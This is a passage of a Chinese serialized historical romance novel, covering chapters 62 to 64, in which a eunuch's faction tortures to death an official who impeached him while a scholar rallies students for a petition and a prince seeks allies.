竟是一片被焚毁的屋舍残骸, 焦黑的梁木歪斜着,孤独地支起半边断壁,残垣间, 依稀可见未被烧尽的匾额碎片,一个“兴”字半焦半黑。 昔日书声琅琅之地, 如今竟成了一片死寂的废墟,唯有几缕青烟, 随着微风扭动,缓缓上升。 岸上, 有穿着襕衫的书生聚在废墟前,或伏地痛哭,或低首垂泪, 更有激愤者,与看守废墟的官差高声辩论,推搡间,东厂番子持械蜂拥而至,呵斥与争执声随波而来。 “这已是沿路见过的第几处了?”周妙雅扶着船舷,望着那片废墟,声音中带着愤怒。 朱弘毅立在船头,玄色衣袍在裹挟着烟尘的风中轻轻拂动。 他没有回答,只是目光掠过那片狼藉,投向更远处的河道。 这一路行来,类似的景象,他已见得太多。 船夫一边摇橹,一边低声叹道:“客官有所不知,听说上头有令,要尽毁天下兴社书院。这运河沿岸,本是文风最盛的地方,如今却成了受灾最重的。光是这段水路,被烧毁、查封的书院,怕是不下这个数。” 说完,他伸出三根手指,又很快收起,警惕地看了看两岸。 不止是焚烧兴社书院,沿途凡稍具规模的城镇,几乎都能看见正在大兴土木修建的生祠。 粗大的木料从各处山林砍伐下来,通过运河运送,工地上民夫如蝼蚁,日夜劳作。 那些生祠规制宏大,梁栋檐壁皆精雕细画,有的甚至僭越礼制,造出九楹宫殿,形同帝王规制。 为凑这修祠的巨额银两,各色苛捐杂税层出不穷。 当船过一处码头暂歇之际,他们亲眼瞧见税吏凶神恶煞地催缴祠饷,一老翁拿不出钱,被推搡在地,整筐鲜鱼被打翻,在尘土中挣扎乱跳。 船夫压低了声音,几乎是在耳语:“听闻前些日子,开封府修建生祠,强拆了二千多间民房,弄得多少人流离失所…这哪里是建生祠,简直是扒皮抽筋啊。” 在船只行过一处水关候闸之时,他们亲眼目睹了东厂校尉的嚣张跋扈。 一名武人打扮的男子骑马经过一块已平整、即将动工的生祠地基,因来不及下马,便被守在那儿的东厂校尉厉声喝骂,数人冲上来不由分说就是一顿拳打脚踢,那武人 只能忍气吞声,策马离去。 后在码头酒肆听人议论,方知那武人竟是今科武进士,姓顾名寅。当夜他宿于城外,与人饮酒点戏,特意点了一折《李巡打扇》——那戏文专讽宦官。 此事被东厂的掌刑千户李剑得知,竟以讪谤朝廷大臣,妖言惑众的罪名,直接矫旨,将他斩首示众。 听闻此等消息,周妙雅坐在舱中,只觉得一股寒意从心底蔓延至头顶。 不过是因为路过未下马,不过是因为点了一出戏,便招来杀身之祸。这已非简单的权宦当道,而是到了顺我者昌,逆我者亡,视人命如草芥的地步。 她抬眼,望向坐在对面的朱弘毅。 他闭目养神,面容静若止水,却掩不住搭在膝头那只手因用力而暴起的青筋。 自启程以来,他寡言少语,但凡涉及魏琰,便更三缄其口。 周妙雅坐在他对面,只觉一股压抑的冷意自他身上缓缓渗出,几乎凝成寒霜。 她犹豫片刻,终是轻声开口,声音中带着一丝不解与愤懑:“王爷,这一路所见,魏琰之恶,罄竹难书,民怨已如干柴,一点即燃。朝廷之上,难道就无人…” “本王知道。”他打断她,声音低沉平稳,却似带着千钧的重量: “本王比任何人都清楚,魏琰结党营私,把持朝纲,戕害忠良,荼毒百姓,他的每一桩罪行,本王都记在心底,半分不敢忘。” 他的目光似乎穿透了船舱,望向皇城:“朝中并非无人看清,但看清又如何?首辅形同虚设,六部堂官多为其爪牙,科道言官稍有异动,便遭廷杖,流放,乃至秘密处决。” 周妙雅看着他紧抿的唇角,忽然明白了什么,他不是无动于衷,更不是畏惧,而是在忍耐,一种极度清醒、极度理智的忍耐。 朱弘毅的声音压得更低,却字字清晰,“此时若轻举妄动,非但不能除奸佞,清君侧,反而会打草惊蛇,授人以柄。魏琰此刻正如日中天,党羽遍布朝野内外,东厂,锦衣卫皆为其耳目鹰犬,一击不中,便是万劫不复。” 他抬眼,目光重新落在周妙雅面上,先前的翻涌已尽数敛去,只余深不见底的冷静:“小不忍,则乱大谋。” 待船行至一处较为僻静的码头,临时停靠补给。 周妙雅见朱弘毅一直沉默寡言,眉间沉郁未散,便悄悄与青黛下了船。 回来时,她手中多了一个油纸包,还有一小坛酒,油纸包里是刚出炉的桃花糕,还冒着热气,甜香扑鼻。这是她记得他偏好甜食,尤其喜欢宫里的这种点心,每次进宫回来,他也会给她带一些。 夜幕降临,运河水面泛着细碎的月光。 船夫将船泊在一处避风的河湾,长安带着侍卫在岸边生了堆篝火,又从河里捉了几尾肥鱼,正架在火上烤着,鱼皮滋滋作响,香气弥漫开来。 周妙雅将点心和酒放在火堆旁铺开的布上,抬眼望向他。 朱弘毅独坐在不远处一块大石上,目光落在河面出神。 她轻声唤道:“王爷,用些点心吧?还有酒。” 朱弘毅回过头,跃动的火光映在他脸上,衬得冷峻线条也柔和了几分。 他的目光落在油纸包与酒坛上,微微一怔。 周妙雅拿起一块桃花糕,递到他面前:“还是热的。” 他看着她被火光映照得格外温润的眸子,沉默了片刻,终是伸手接过。 糕点松软,带着桃花的甜香,入口即化,胸口的郁涩似也随之化开些许。 长安将烤好的鱼递给他们,鱼肉鲜嫩,带着烟火的焦香。 周妙雅又斟了一碗酒,递给他,酒液清澈,在碗中微微晃动,映出天上几点疏星与一轮朗月。 朱弘毅接过酒碗,并未急着饮,他看着周妙雅也给自己斟了一小碗,随后在他身旁不远处坐下,安静地小口吃着烤鱼,并没有再多说什么劝慰的话。 他就这样静静地坐着,慢慢地吃着点心,喝着碗中微辣却醇厚的酒,看火光跳跃,听河水拍岸。 周妙雅也不言语,只安静地陪着,偶尔抬头望一眼星空。 不知过了多久,他忽然开口,声音融在静夜里,低沉轻缓:“小时候,皇兄也曾带我在宫里的太液池边烤过鱼。” 他只说了这一句,便没有再说下去。 良久,他转头看了一眼身边安安静静的女子,低声道:“多谢。” 周妙雅轻轻摇头,浅浅一笑。 ———— 船行近两月,终于在通州码头靠了岸,换乘马车驶向京城,越近城门,空气越发凝滞。 街市依旧喧闹,但行人神色间都带着几分仓促,连马蹄声都显得格外清晰。 回到宁王府,门房恭敬相迎,府中一切如常。 长安步履匆匆地从外间回来,面上犹带惊色,他径直来到书房,向正在净手的朱弘毅禀报: “王爷,周姑娘,”长安咽了口唾沫,声音压得极低:“咱们离京这些日子,京城里…出了件不轻不重的事儿。” 他顿了顿,似乎在斟酌措辞:“文毓瑾,文大人,他比我们早十日抵达京城。” 周妙雅正在斟茶的手微微一顿。 长安语气凝重:“文大人一反常态,不回文府旧宅,反倒搬进了国子监旁的清舍,借着文家三代翰林,百年文脉的清誉,他终日与寒门学子同食同宿,日夕讲学,如今在兴社学子之中,人人尊他一声文先生。” “他如今连往日那些锦绣华服也舍弃了,整日只着一身半旧不新的素色儒衫,张口闭口皆是振朝纲,清君侧,斥阉党,护正道。那些学子们,竟视其为…继苏州的周大人之后,又一位敢与阉党正面相抗的清流领袖。” 周妙雅听着,手中杯盏里滚烫的茶水险些溅出杯沿。 她脑海中不受控地翻涌起那些不堪的画面:黑暗中文毓瑾压下来的沉重身躯,他带着酒气的灼热呼吸喷在颈侧,那双总是温雅含笑的眼眸里翻涌着令人胆寒的占有欲,苏州祠堂里,他站在森严的祖宗牌位下,用最恶毒的语言,一字一句地,想要将她钉死在耻辱柱上。 那个偏执,疯狂,无数次想要将她撕碎吞噬的男人… 此刻竟披着一身素净儒衫,被那些满腔热血的年轻学子们簇拥着,成了他们心目中高风亮节,不畏强权的象征? 朱弘毅听罢,缓缓起身,行至窗边,望向庭院中那几竿修竹。 他语气平淡,带着讥诮与讽刺:“换上这层清流的外皮,倒是比他家主的锦袍更合身些…只是这身衣服,不知他能穿多久,又打算用多少人的鲜血来染红。”—— 作者有话说:文疯批,开始你的表演! 第62章 天下苦于魏琰, 已久。 真正的火,烧到京城,是在一个阴沉的上午。 早朝之上, 素以刚直闻名的左副都御史杨濂, 于金銮殿上, 当着皇帝与文武百官的面,直挺挺地跪了下去,双手高举一道奏疏。 这道奏疏,没有给魏琰留任何面子,直接扯开了遮羞布。 杨濂的脊背挺的笔直,似狂风骤雨中刚直不弯的劲竹,他声音嘶哑, 却字字如锤,一道道地重重砸在鸦雀无声的金銮殿上: “臣杨濂, 劾司礼监掌印太监魏琰二十四项大罪。” 只这一句, 偌大的金銮殿内,空气瞬间凝滞,连衣袖摩擦的轻响都戛然而止。 杨濂的声音带着豁出性命的决绝:“其一, 臣告魏琰僭越皇权,自内阁, 六部至四方督抚,皆置魏阉死党, 朝廷耳目皆其爪牙。陛下,这大晟的朝堂, 究竟姓朱,还是姓魏?” 百官之中有人暗暗倒抽冷气,那声响旋即就被死寂吞没。 “其二, 臣告魏琰迫害忠良,工部郎中万燝,只因谏言触怒,立毙杖下,御史林汝翥,血溅阶前,魏琰,尔之手上,到底沾了多少忠臣之血?” 杨濂每念出一个名字,便似拖出一具沉冤白骨,皆是这些年来失踪横死的官员。 殿角几位老臣俯首不敢抬眼,嘴角 却止不住微微抽搐。 说到激愤处,杨濂声音陡然拔高:“其三,臣告魏琰操纵皇权,凡章奏,必先至魏琰处,然后敢发,陛下之旨,皆魏琰之旨,陛下可曾想过,您耳中的天下,可还是真实的天下?” 这话几乎是指着皇帝的鼻子,质问其被奸宦蒙蔽。 龙椅上的身影微微一震,看不清神色。 杨濂的声音逐渐变成了嘶吼:“其四,臣告魏琰僭越成风,心怀叵测,其建生祠遍天下,九楹宫殿,僭越无礼,此非人臣之道,尔魏琰,可是要效王莽,曹操故事?” “血口喷人!”御阶下终于传来一声尖利的呵斥,魏琰面色铁青,寒光从他细长的眼眸透出,死死盯着跪在下面的杨濂,似要将他生吞活剥。 “杨濂,你敢在金銮殿上妖言惑众,诽谤咱家,诽谤陛下! 杨濂脊背挺的笔直,双手高举奏疏,声音铿锵有力:“陛下!魏琰之恶,罄竹难书!天下百姓,苦魏琰久矣!臣今日拼却这项上人头,亦要将这二十四大罪昭告天下!请陛下明正典刑,诛杀此獠,以谢天下万民!” 说罢,他猛然俯身,以头触地,咚…咚…一声声闷响接连回荡于死寂的大殿之上。 杨濂伏地不起,直到额角叩出鲜血。 霎时间,百官屏息,所有人的目光都集中于御阶之上,龙椅上那道身影。 时间仿佛停滞了。 不知过了多久,或许只是一瞬,御座里透出一声疲惫的声音: “奏疏留下,众卿退朝。” 文武百官面面相觑,杨濂这把染血的利刃,竟像戳进一团软棉,无声无息便被吞尽。 ———— 散朝之后,后殿暖阁内,熏香袅袅。 皇帝朱弘睿方在锦榻上坐定,还没来得及端起手边温热的参茶,身后已传来一阵几近崩溃的哽咽。 魏琰竟直接扑通一声跪倒在地,不再是朝堂上那权倾朝野的九千岁,倒像个受了天大委屈的老仆。 他话未出口,泪已先落,花白的鬓发在烛火下微微颤抖着。 “陛下…老奴…老奴…”他声音嘶哑,鼻音浓重,竟一时哽咽得说不出完整句子。 朱弘睿端茶的手悬在半空,眉心微蹙:“大伴,这是做什么?起来说话。” “老奴不敢!老奴有罪!” 魏琰抬起头,老泪纵横:“老奴侍奉陛下,侍奉先帝,几十年如一日,战战兢兢,如履薄冰,所思所想,无一不是为了陛下,为了大晟的江山社稷啊!” 他膝行两步,愈发哽咽:“老奴是个什么出身?不过是个没根的阉人,承蒙先帝与陛下不弃,委以重任,老奴唯有拼了这把老骨头,替陛下守好这个家,盯紧那些表面忠君爱国,内里却是狼子野心之徒。” 他大口喘着粗气,眼泪淌过面颊:“杨濂他…他今日在金殿之上,哪里是在弹劾老奴?他句句指着老奴,字字却在戳陛下的心窝子啊!他骂老奴,是说陛下昏庸、用人不明;他咬老奴,是说圣听被阉奴蒙蔽。老奴一条贱命,死不足惜,可陛下您的圣誉,先帝托付的江山,不能沾上半点污点啊,陛下!” 说到动情处,他更是泣不成声,似把一生的委屈与忠心一并倒出。 朱弘睿俯视这位自幼相伴,此刻泣不成声的老奴,眉心锁得更深。 他没有立刻说话,暖阁里只余魏琰压抑的抽泣与熏香燃烧的噼啪声。 良久,皇帝才叹了口气,疲惫地说道:“大伴的忠心,朕自然知晓,只是杨濂所奏,关乎国体,涉及诸多大臣,朕也不能全然置之不理。” 魏琰的哭声戛然而止。 他抬起袖子,用力抹去脸上的泪痕,悲恸的表情瞬间收敛。 他再次伏身,深深叩首,声音低沉而清晰: “老奴明白,空口无凭,老奴便是浑身是嘴,也难辩清白,陛下乃圣明天子,自当明察秋毫。” 话音落下,他自怀中摸出一本薄薄的旧蓝皮账册,双手高举,呈至御前。 “此物,老奴原不忍呈上,恐污圣目,更寒了天下忠臣之心,但事已至此,老奴若再为杨濂遮掩,便是对陛下不忠。” 他声音嘶哑,似被逼至绝境的猛兽,反扑前低声嘶吼: “此册所载,乃杨濂任漕运御史时,与漕帮,粮商暗中勾结,贪墨漕银,倒卖官粮的实证,时间,地点,经手人,分赃数目,一笔一笔,皆记录在册,铁证如山。” 朱弘睿的目光落在那本旧蓝皮账册上,没有立刻去接。 魏琰仍高捧着账册,头颅低垂,悲凉道: “老奴早已暗中查得此证,却一直按下未发,为何?只因顾念杨濂是朝廷二甲传胪,琼林赐宴,科举正途出身,若将丑幕揭开,先帝与陛下的颜面必被血污。老奴宁负千锅万骂,只求朝局安稳,陛下无忧,只是万万没想到,老奴的忍让,竟换来他先拔刀,反刃刺向老奴,更刺向陛下。老奴死不足惜,可若因此让陛下孤悬龙位,四顾无援,老奴纵粉身碎骨,亦难偿此罪!” 他砰地一声将头重重磕在地上,语气哽咽: “老奴纵容那条漕蠹在万岁脚下啃了十年粮,十年银,未能早日铲除这等国之蛀虫,如今惊动天听,陷陛下于进退维谷,老奴之罪,万死不足蔽辜!” “司礼监印信在此…” 他颤抖着高举那方鎏金狮钮,像捧出一颗被剜的老心: “今夜,老奴便自赴南京,替太/祖高皇帝守陵。” 暖阁内,寂静无声。 殿内的熏香烟雾缭绕,年轻皇帝的面色被掩得晦暗难辨。 他轻轻放下那盏始终未饮的参茶,终于开口:“好了,大伴…起来罢。” 他看着魏琰,目光深沉: “朕,知道了。” ————— 次日,寅时未鼓,天色未明,寒意刺骨。 东厂番役的马蹄声踏碎了京城大街小巷的寂静。 动作快得惊人。 寅时三刻,杨濂的府邸瞬间围满东厂番役,一盏茶的功夫便层层围死。 府内,残灯未灭,药香尚温,杨连半倚病榻,额前淤青自昨日金殿一叩后愈发青紫。 如狼似虎的番役闯入,将他从病榻上生生拖下,枷锁加身,押解而出。 杨濂没有挣扎,只是微微抬眼,甚至没有多问一句,黯淡的双眸里早已是一片死灰般的了然。 几乎同时,兵部职方司郎中万言,礼部主事沈继荣,刑部员外郎杨顺,都察院御史黄尊素,这四位与兴社交往密切的官员,也被分别从家中或赴衙途中被截住,以漕运贪墨案同党之名,一并锁拿。 罪名来得又快又狠,全因那本突然冒出的蓝皮册子,几年前置办漕粮时他们直接或间接碰过的手续,如今都成了铁证。 既没有经过三法司的审讯流程,也没有押往刑部大牢,五名朝廷命官,直接被投入昭狱。 阴湿的甬道深处,火把摇曳,映照出墙壁上深褐色的,早已干涸的血迹,空气里弥漫着霉味,血腥味与绝望的气息混作一团,扑鼻刺骨。 审讯立刻开始: “说!还有哪些同党?” “为何要构陷魏公?” “贪墨的银两,流向何处?是否用以结交朋党,图谋不轨?” 皮鞭划破空气,带着尖啸落下,抽在早已褴褛的官袍上,留下道道血痕。 盐水泼上去,引发压抑不住的痛苦闷哼。 夹棍套上手指,缓缓收紧,骨节咯咯作响,令人牙酸。 杨濂被单独提审,他年事已高,几轮刑罚下来,已是气息奄奄,番子将他按在冰冷的砖地上,逼他在供状上画押,承认那二十四大罪是受人指使,污蔑忠良。 他抬起血肉模糊的脸,从花白乱发间望住那狰狞狱卒,嘴角吃力地扯了扯,似欲开口,终究只吐出一口带碎牙的血沫,然后,用尽最后的力气,摇了摇头。 换来的,是更凶残的殴打。 待五具遍体鳞伤的躯体被拖回阴暗牢房,微弱的呻吟与狱卒肆无忌惮的嘲骂,透过厚厚的石墙,隐隐传了出来。 “骨头还挺硬……” “看你能撑到几时!” “进了这昭狱,是龙得盘着,是虎得卧着,跟魏公作对,就是这个下场!”—— 作者有话说:这个杨濂就是历史上那个杨涟,就是明朝那些事儿里让无数人掉眼泪的杨涟 第63章 诏狱深处, 连时间都凝成了冰。 杨濂早已记不清自己被拖出去提审了多少回。 起初他尚能感觉到鞭子撕开皮肉的灼痛,盐水泼上来时筋肉不受控制的抽搐。 后来,疼痛变得麻木, 像隔着层厚布在捶打一具已经不再属于自己的身体。 被扔回牢房时, 他只余一丝喘息的气力。 黑暗里, 唯有墙角渗出的水珠滴答作响,与他破碎的呼吸声相伴。 狱卒轮番上阵,换着法子逼他画押,承认那道《二十四大罪疏》是受人指使,污蔑忠良。 一个脸上带疤的狱卒蹲在他面前,手里掂量着烧红的烙铁:“杨大人,何苦呢?画了押, 少受些罪,魏公兴许还能给您留个全尸。” 杨濂勉强抬起肿胀的眼皮, 模糊的视线里, 只能看到一团晃动的红光。 他嘴唇干裂,微微开合,声音微弱:“罪…在魏琰…不在…老夫…” 烙铁贴上胸口, 青烟乍起,焦糊味冲鼻, 他浑身猛地一僵,喉咙里发出一声压抑到极致的闷哼, 额头上瞬间渗出豆大的冷汗。 几次昏死过去,又被冷水泼醒。 他们用尽了刑罚, 夹棍,鞭刑,杖责…杨濂这具老迈的躯体早已是千疮百孔, 可每逢短暂清醒,他那双眼里仍燃着一点不肯熄的星火。 他自知,此生再难出此门。 那一晚,狱卒也倦了,牢中难得半晌无人搅扰,只有远处隐隐传来其他囚犯痛苦的呻吟,若有若无。 杨濂靠在冰冷的墙壁上,艰难地喘息着,目光在黑暗中逡巡,最终落到甬道尽头那尊模糊的关帝像上。 狱中竟供着关帝,祈求忠义之神镇守牢狱,何其讽刺。 与此同时,一个念头,如同黑暗中划过的星火,在他脑海中骤然亮起。 他需要留下点什么,不是为自己辩白,而是要将这里的真相,将魏琰的罪恶,将他的不屈,留下来,传诸后世。 没有纸笔。 他咬牙撑起残躯,贴着墙壁坐直,然后低下头,用牙齿,一点点撕下囚衣里衬那片还算干净的粗布。 布帛撕裂的声音在寂静中格外清晰。 齿力不足,他便用被夹棍夹得变形的手指相助,一点点撕出一条略宽的布条。 整个过程耗费了他巨大的力气,待布条离衣,他早已是满头虚汗,喘息不止。 他垂首打量自己,遍体鳞伤,竟无一寸完好肌肤,良久,才颤巍巍抬起右手,把那条曾被夹棍重点关照,指甲早已脱落,皮开肉绽的食指,送到了嘴边。 他用尽残余的力气,狠狠咬了下去。 剧痛钻骨,身躯猛地一颤,口中瞬间溢满了铁锈般的腥甜。 血顺着残破指尖缓缓滴落。 他不敢耽搁,忙将布条摊在膝上,以那支渗血的指尖为笔,蘸着所剩无几的生命,开始书写。 每一个字,都像是在耗尽他最后的元气。 “臣杨濂,临死绝笔,魏阉祸国,罪证昭昭,天地共鉴,臣今以死明志,前所劾二十四大罪,句句属实,字字泣血,虽遭阉党构陷,酷刑加身,吾风骨不折,清白不容玷污。” 血很快凝固,他便再次用力挤压伤口,让新血续出,写写停停,断断续续,眼前昏花,手腕战栗,几乎难把布条稳在膝头。 他写魏琰僭越,写忠良含冤惨死,写生祠遍地,写民不聊生,写自己无悔,写盼后人继志。 最后,他用尽力气,在布条末端,重重按下了一个模糊的血印。 做完这一切,他已气若游丝,靠墙瘫坐,唯余一息。 天光微亮时,狱卒的脚步声再次传来。 他知道时间不多了。 趁着狱卒开门,视线转移的刹那,他用尽最后一丝残力,将那条浸透鲜血与执念的布条,迅速塞进关帝像底座一道暗缝,深没其中。 关帝持刀而立,目光凛凛,静静守护那缕暗缝中的血书。 随后,他阖上双眼。 最后的时刻来得很快。 魏琰显然已经失去了耐心。 数名东厂番子闯入,将他拖了出去,绑在刑架上。 为首的档头拿着一根三寸长的铁钉,在他眼前晃了晃,冷声道:“杨大人,最后再给你一次机会,画押,承认污蔑魏公,给你个痛快。” 杨濂缓缓抬起头,花白的乱发混着血污贴在额前脸上,他望着那根闪着寒光的铁钉,嘴角极轻极轻地勾起,露出一个近乎嘲讽的弧度。 他没有说话。 档头眼神一戾,不再迟疑,举起铁钉对准他的头顶,铁锤猛然落下。 “咚。” 闷声回荡,钻骨刺耳。 杨濂身形剧震,双目倏睁,瞳孔瞬间涣散,鲜血沿着额角鬓发蜿蜒流下,染红了他满是伤痕的面庞。 他至死,没有发出一声求饶。 那双曾经在金銮殿上怒视奸佞的眼睛,此刻直直定在虚空,残留着一丝不甘,一丝轻蔑,仍带着读书人永不屈折的傲骨。 他的头无力地垂了下去。 诏狱深处,连那终年不绝的滴水声,仿佛亦在此刻凝滞。 ———— 杨濂下狱,酷刑至死的消息,如同一块巨石砸进看似平静的湖面,在京城的水面下激起汹涌的暗流。 明面上,街市依旧,茶楼酒肆无人敢公开议论,连往日最热闹的国子监门前,也忽然冷清得吓人。 可就在这压得人喘不过气的寂静里,另一股暗力正悄悄汇拢,似地火在岩层下奔突,寻找机会迸裂。 文毓瑾落脚的那处靠近国子监清舍,如今已成了无形的中心,白日里,他仍是一身半旧儒衫,与来往学子谈经论道,言语间忧国忧民,风骨肃然,绝口不提朝局险恶。 他越是这般沉静克制,周围聚集的年轻士子们对他越是崇敬。 夜深后,清舍后门时有身影悄然闪入。 窗纸上映出摇曳的烛影,几张年轻激愤的面孔围坐于文毓瑾身侧,他们是兴社在京城各书院的核心人物。 一个叫陈贞慧的年轻监生声音哽咽,死死攥着拳头:“文兄,杨公他死得冤啊!此事绝不能善罢甘休!” 另一个叫侯向生的青年语气急促:“东厂如此无法无天,今日是杨公,明日便可能是你我,必得让陛下听见我等呼声!” 文毓瑾端坐主位,烛影斜映,侧脸清隽,他沉默地听着众人的控诉,指尖轻抚着杯沿。 待几人情绪稍平,他才缓缓开口,声音低沉而清晰:“杨公风骨,天地可鉴,吾辈后学,岂能坐视忠良蒙冤,奸佞横行?” 他目光扫过众人,眸色沉痛:“然若贸然行动,正如以卵击石,非但于事无补,反而会授人以柄,让更多志士白白牺牲。” “那…我们该如何?”有人急声追问。 文毓瑾微微俯身,烛焰在他眸中跳动:“吾辈所求,非街头叫嚣,而是要以堂堂正正之师,行光明正大之事。” 他顿了顿,一字一句道:“联名上书,静/坐请愿。” 屋内几人呼吸骤然一紧。 文毓瑾继续道:“联名上书,非一人之疏,而是汇聚天下清议,代表士林民心。我们要将杨公之冤,魏阉之恶,条分缕析,直陈御前,让陛下看到,非杨公独受其枉,而天下读书人,皆为此事痛心疾首。” “至于静/坐,” 他的声音更沉了几分:“非为挑衅,而为明志,我们就在这国子监前,在这孔圣人文庙之下,不言不语,不吵不闹,只以我等之身,告之京城,告之天下,公道,自在人心。” 他语调中带着奇异的蛊惑力与说服力,将年轻人胸中的悲愤与热血,慢慢引到了一条看起 来更理性、也更宏大的方向上。 “可是…文兄,东厂耳目众多,这联名…”陈贞慧仍有顾虑。 文毓瑾轻轻放下茶杯:“此事,需隐秘,更需胆魄,愿署名者,需知其风险,九死而不悔。” 他看向众人,眼神锐利:“诸位可敢?” “有何不敢!”几人几乎异口同声,年轻的脸庞上燃着决然之色。 “好。” 文毓瑾颔首:“此事,便由我文家,以百年清誉为凭,牵头执笔,诸位分头联络可信之士,务必慎之又慎。” 他站起身,走到窗边,望着窗外沉沉的夜色:“记住,我们此举,非为一己之私,乃为江山社稷,为天下公道,纵前路荆棘,亦当往矣。” 其后数日,暗潮悄涌,席卷京城各大书院与会馆。 国子监号舍,夜深人静时,有学子在同伴手心悄悄写下自己的籍贯姓名。 僻静的书肆后院,几名青衫学子低声急语,快速交换着信息,确认着愿意联名的志士。 崇文门外一家会馆里,有人借饮酒赋诗的名头,暗暗传阅文毓瑾草拟的奏疏要略。 联名的名单在暗中像雪球般越滚越大。 不仅有国子监的监生,还有在京候补的官员,甚至一些早已致仕、却仍关心朝局的老翰林,闻得是文家百年清誉作保,也暗中表示了支持。 而静/坐之事亦在暗中铺排,时间,地点,方式,若官府盘问如何应答,一切都在紧张而有序地进行。 文毓瑾依旧每日出现在清舍,接待访客,谈论学问。 只是他书案上那方歙砚,磨墨的次数比往日多了许多,他亲自执笔,仔细斟酌着奏疏上的每一个字,务求情理兼备,骨气铮然,既要能打动天听,又要能凝聚人心。 檐下气息沉凝,山雨欲来,所有人都知道,一场风暴正在酝酿—— 作者有话说:文毓瑾即将开启他大男主表演 71章男女主感情大爆发 先让文毓瑾疯一段[笑哭][笑哭] 第64章 宁王府书房中, 盛夏午后,阳光透过窗棂,在地上投下细长的光影。 周妙雅穿了一袭素白的立领斜襟纱衫, 映着臂上的金钏若隐若现, 婉如画上的仙娥。 她刚招呼下人把铜冰鉴抬了进来, 丝丝凉气驱散了些许暑热。 朱弘毅正坐在窗边专注地看书,听到动静抬了抬眼。 周妙雅见他额角浮汗,便挽起素袖,露出半截皓腕,用帕子轻轻替他拭去。 而后小心翼翼地侍立在旁,拿起墨锭替他研磨。 长安进来的时候,刚好撞见了两人宛若老夫老妻的一幕。 他脚步顿了顿, 这才上前禀报。 “王爷,周姑娘。” 他的声音压得很低:“杨濂杨大人在诏狱殁了。” 周妙雅研墨的手猛地一抖, 墨锭在砚台上划出的墨滴险些溅到她素白的大衫上。 长安的声音更沉了几分:“听诏狱暗线说…是铁钉贯顶, 当场气绝。文毓瑾那边,这几日国子监清舍人来人往,联名上书的奏章已经拟好了七八分。” 他话音落下, 书房顷刻间静得骇人,只听见冰鉴里冰块融化的滴水声。 周妙雅放下墨锭, 纤细的手指仍颤抖不止。 文毓瑾那副道貌岸然的伪君子模样,她一点都不信。他那副叫人作呕的嘴脸, 岂配扛起天下文脉清流的大旗,又怎会真心为世人伸张正义? 她侧首望向朱弘毅, 声音轻颤:“王爷,文毓瑾此人,最擅伪装, 他如今摆出这副清流姿态,定是在谋划着什么,他分明是要把一众学子往火坑里推,为他自己开路。” 朱弘毅缓缓合上手中的书卷。 他起身走到冰鉴前,指尖轻轻拂过铜壁上凝结的水珠。 “他要借魏琰的刀,用这些年轻士子的血,铺就他的青云路。” 朱弘毅捻了捻指尖上的水珠,沉思了片刻:“我们出府一趟。” 周妙雅甚为不解:“此刻?王爷要去哪里?” “顾府。” ———— 未时三刻,一辆不起眼的马车停在了顾凌云私邸的后角门。 长安上前叩门,三长两短,门悄无声息地开了条缝。 开门的不是寻常仆役,是个眼神精悍的短打汉子,目光在来人身上一扫,便默不作声地引路,带他们穿过几重庭院。 顾凌云的书房设在宅院最深处,推开书房的门,一股凉意扑面而来。 这里也置了冰鉴。 顾凌云正站在书案前临帖,见二人进来,放下毛笔,拱手相迎:“王爷,周姑娘。” 朱弘毅径直走到书案前,看着纸上未干的墨迹:“顾佥事使好雅兴。” “练字静心。” 顾凌云抬手,示意二人落座,并亲手斟了茶:“王爷此时来访,想必是为了诏狱的血案。” 周妙雅捧着茶盏,指尖冰凉,她抬首望见顾凌云锐利的双眼,忽忆起在北镇抚司验白骨时,他亦是这般冷静自持。 朱弘毅的声音打破寂静:“杨濂死了,文毓瑾正在煽动学子联名上书。” 顾凌云执起茶盏,水汽氤氲,掩去了他的眸色:“下官略有耳闻。” 周妙雅忍不住开口,嗓音压得极轻,却止不住地发颤:“文毓瑾此人顾大人可知他真正的为人?” 顾凌云抬眼看向她:“愿闻其详。” 夏日蝉鸣透过窗纱传来,衬得书房里愈发安静,周妙雅攥紧衣袖,那些不堪回首的往事在喉间翻滚,难以吐出一个字。 顾凌云见她神色,心下已猜出那些话令她难以启齿。 他想起北镇抚司值房里那份简报上的寥寥数语:灵堂逼妾,坠崖,想起田埂间她护住老农的倔强身影,奉国寺前她俯身为流民孩童诊脉时低垂的眉眼。 “周姑娘不必细说。” 顾凌云的声音罕见地温和了些许:“文毓瑾的为人,下官略知一二。” 他执起茶壶,为周妙雅添了些茶:“北镇抚司卷宗里,记着泰和四年京城一桩旧事,文家长孙灵堂逼娶表妹未果,次日,那表妹便遭诬陷发卖,押送途中意外坠崖。” 周妙雅猛地抬眸,正对上顾凌云平静的目光。 他竟知道得这般清楚。 顾凌云继续道:“下官还知道,那表妹后来出现在宁王府,更蒙圣恩封为司画女官,一个宁死不屈的女子,岂会轻易与人同流合污?” 朱弘毅适时开口:“所以顾佥事应当明白,文毓瑾此番举动,绝非出于公义。” 顾凌云一语道破:“他要借魏琰的刀,除去异己,为自己博取清名,那些学子,不过是他棋盘上的卒子。” 书房里一时寂静。 窗外蝉鸣声声,搅得人心烦意乱。 周妙雅握紧茶盏,声音很轻:“那些学子大多只是心怀热血的年轻人,他们不该成为这场博弈的牺牲品。” 顾凌云的目光在她脸上停留片刻,又转向朱弘毅:“王爷想要下官如何?” 朱弘毅沉声道:“并非要北镇抚司与东厂正面冲突,只希望在必要之时,顾大人能暗中周旋,尤其是在诏狱中,尽量能保全几个不该死的人。” 顾凌云沉默良久。锦衣卫与东厂虽同属天子亲军,但向来井水不犯河水。插手此事,风险极大。 他想起那日赏花宴上周妙雅从容的身影,想起她即便身处险境也不曾弯折的风骨。 再抬眼时,他终于开口:“下官可以尽力,但有一点,但若事不可为,北镇抚司必须抽身。” “自然。”朱弘毅颔首。 周妙雅从袖中取出一张纸 ,轻轻推至顾凌云面前:“这是下官与王爷推测,文毓瑾可能会重点利用的几位学子姓名。” 顾凌云展开纸卷,目光扫过,当他看到陈贞慧,侯向生这两个名字时,眉头微微蹙起。 周妙雅敏锐地察觉到了:“顾大人认得他们?” 顾凌云将纸卷收起,低声道:“陈贞慧,是去年被廷杖而死的陈御史独子,侯向生,其父曾任开封知府,因上疏反对修建生祠被罢官削籍。” 他没有再说下去,但周妙雅已经明白,文毓瑾特意挑选这些与阉党有旧怨的学子,就是要让这场清议显得更加悲壮,更能激起民愤。 好狠毒的心思。 顾凌云起身:“下官会留意,天色已晚,不便久留二位。” 他没有朱周二人更多的承诺,但三人心中都已明了,风暴将临,他们是黑暗中互为守望的同盟。 